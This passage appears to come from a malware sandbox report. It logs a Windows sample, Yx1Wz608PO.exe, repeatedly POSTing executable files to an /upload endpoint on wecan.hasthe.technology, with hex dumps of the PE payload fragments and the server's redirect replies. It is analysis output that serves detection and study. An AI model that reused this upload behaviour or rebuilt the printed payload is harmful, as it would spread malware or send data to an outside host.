Oct 10, 2024 21:02:05.270107031 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:05.270158052 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:05.270184994 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:05.270207882 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:05.270256042 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:05.570972919 CEST	825	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:05 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:05 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B9HGUw7NaHIsrL7d%2FD8M8TAv7xeH55j9NzHY34jbFv6%2F70%2B5dtUyerBGNpKKA%2Bc%2Byq7F0U4KE3FOMm5JMzSA%2F%2BBIx42TBnYiGjEZKkLkJoGspt4yO3TOQH0hpdgy45bDcPV1%2FoQpnRA9PA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dcdab8ea0f5f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50345	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:05.711723089 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------16380e3ad29b0a3f
Oct 10, 2024 21:02:06.159751892 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:06.160768986 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 36 33 38 30 65 33 61 64 32 39 62 30 61 33 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------16380e3ad29b0a3fContent-Disposition: form-data; name="file[]"; filename="rifaien2-LRhmhC00EPTolTjv.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:06.161144018 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:06.166085005 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:06.166280031 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:06.166320086 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:06.166491985 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:06.166523933 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:06.166549921 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:06.166583061 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:06.166610003 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:06.467011929 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:06 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:06 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3QIdQz8PQSz%2BmhKsS2tP5Yd1JvJvb533KtVdf1IrSFXiRjxqBbdFyby3cMvtWL0o%2BMkoM5exCx9aC8dQdsD1UbGHXdoKYBb5X4AdZG4HnpkBcHrOKoiaxpwG6mBs%2F5fSOxL4Qhiyiz6iaw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dce05cf40cae-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50346	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:06.619180918 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------e3761a7cb61128d0
Oct 10, 2024 21:02:07.064440966 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:07.065948963 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 33 37 36 31 61 37 63 62 36 31 31 32 38 64 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------e3761a7cb61128d0Content-Disposition: form-data; name="file[]"; filename="rifaien2-iQ6mR49yFM8ZeZJU.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:07.066235065 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:07.071295977 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:07.071295977 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:07.071342945 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:07.071408987 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:07.071451902 CEST	4944	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:07.071480036 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:07.071518898 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:07.076411009 CEST	7416	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:07.400573015 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:07 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:07 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v270lwqFJBOoIksLLgrtrseMAKczWf64%2FCIKC0W%2FkVOWi8Cll4DrmhS6GD7bt0s08QwQPQtdDyY5Bd7syyyrvaerusOeE%2B7I95IgkhSH2dOhqEZ9rao5oUVUfrR4wJXa8ZrV8yxfBXm6zw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dce5f9f05e71-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50347	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:07.732677937 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------5de42e96fd7737be
Oct 10, 2024 21:02:08.190222025 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:08.191046953 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 64 65 34 32 65 39 36 66 64 37 37 33 37 62 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------5de42e96fd7737beContent-Disposition: form-data; name="file[]"; filename="rifaien2-04RCQxCd2dv0My0K.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:08.191306114 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:08.196559906 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:08.196656942 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:08.196656942 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:08.196751118 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:08.196779013 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:08.196892977 CEST	1236	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:08.196902990 CEST	1236	OUT	Data Raw: 3c 00 75 0d 8b 43 20 17 74 82 be 7b b3 21 8b 43 30 8b 97 67 8e 4f e8 01 7c a2 8b 87 e0 3a 1d 04 b8 ff 89 97 44 86 00 00 89 87 40 05 35 74 20 ce fe 8e 0a 4c 89 47 04 89 38 eb 10 27 c7 ea ea 7f 24 73 89 7b 04 89 7b 08 89 5f 40 4d 01 df c1 5d b9 33 Data Ascii: <uC t{!C0gO\|:D@5t LG8'$s{{_@M]3{`CC N21.HeVS?@hj1X oC,C\| wh@hutP.CCV#580EQC05Ah.+74*6F/7tZ@5tCD
Oct 10, 2024 21:02:08.196921110 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
